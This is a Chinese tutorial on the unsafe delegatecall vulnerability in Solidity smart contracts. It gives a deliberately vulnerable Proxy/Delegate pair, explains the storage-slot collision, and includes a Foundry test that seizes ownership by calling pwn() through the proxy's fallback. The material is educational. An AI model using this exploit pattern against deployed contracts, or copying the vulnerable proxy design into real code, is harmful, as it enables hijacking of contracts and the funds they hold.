区块链安全常见的攻击——不安全的 Delegatecall 漏洞(Unsafe Delegatecall Vulnerability)【3】
区块链安全常见的攻击合约和简单复现,附带详细分析——不安全的 Delegatecall 漏洞(Unsafe Delegatecall Vulnerability)【3】
1、不安全的 Delegatecall 漏洞(Unsafe Delegatecall Vulnerability)
1.1 漏洞合约
contract Proxy {
address public owner = address(0xdeadbeef); // slot0
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
}
fallback() external {
(bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerable
require(suc, "Delegatecall failed");
}
}
contract Delegate {
address public owner; // slot0
function pwn() public {
owner = msg.sender;
}
}
1.2 漏洞分析
fallback函数:fallback 是 Solidity 中的特殊函数,用于接收不存在的函数调用或以太币转账。标记为 payable 时,可接收以太币;
delegatecall 和 call: 都用于调用其他合约,但区别在于执行上下文:delegatecall 在调用者的上下文中执行代码,修改调用者的存储,并保持 msg.sender 为原调用者;而 call 在目标合约的上下文中执行代码,修改目标合约的存储,msg.sender 是调用者。delegatecall 常用于代理模式,而 call 用于普通合约交互。
delegatecall(msg.data)
使得用户可以触发fallback来调用delegatecall,而delegatecall`允许在代理合约的上下文中执行被调用合约的代码,
1.3 攻击分析
攻击者触发Proxy合约的fallback函数,同时附带data,data是调用pwn函数
以此调用delegatecall函数,调用的时候会将data传入msg.data参数
最后delegatecall函数会调用Delegate合约中的pwn()函数
- 触发 Proxy 合约的 fallback 函数: 攻击者对 Proxy 合约发送一次调用,并附带调用数据(data),该数据是pwn() 函数的函数选择器(通过 abi.encodeWithSignature(“pwn()”) 生成)。
- 进入 fallback 函数逻辑: fallback 函数被触发后,调用数据(data)通过 msg.data 参数传递给函数内部。
- 执行 delegatecall: fallback 函数使用 delegatecall,将 msg.data 传递给 Delegate合约。 delegatecall 在 Proxy 合约的上下文中执行 Delegate 合约的 pwn() 函数。
- 调用 Delegate.pwn() 函数: 在 delegatecall 的执行中,Delegate 合约的 pwn() 函数被调用。因为 delegatecall 在调用者(Proxy)的存储上下文中运行,pwn() 函数中的 owner 实际指向的是 Proxy合约的存储槽。
1.4 攻击合约
contract ContractTest is Test {
Proxy proxy; // 代理合约实例
Delegate DelegateContract; // 逻辑合约实例
address alice; // 模拟的攻击者地址
// 设置测试环境
function setUp() public {
alice = vm.addr(1); // 初始化 Alice 地址
}
// 测试 Delegatecall 漏洞
function testDelegatecall() public {
DelegateContract = new Delegate(); // 部署逻辑合约
proxy = new Proxy(address(DelegateContract));
console.log("Alice address", alice); // 打印 Alice 地址
console.log("DelegationContract owner", proxy.owner()); // 打印代理合约的初始所有者地址
console.log("Start Attack ...");
vm.prank(alice);
address(proxy).call(abi.encodeWithSignature("pwn()"));
// address(proxy).call(abi.encodeWithSignature("pwn()")); // Proxy 的 fallback 通过 delegatecall 调用 Delegate合约的pwn()函数
console.log("after attack, DelegationContract owner", proxy.owner()); // 打印攻击后代理合约的初始所有者地址
}
}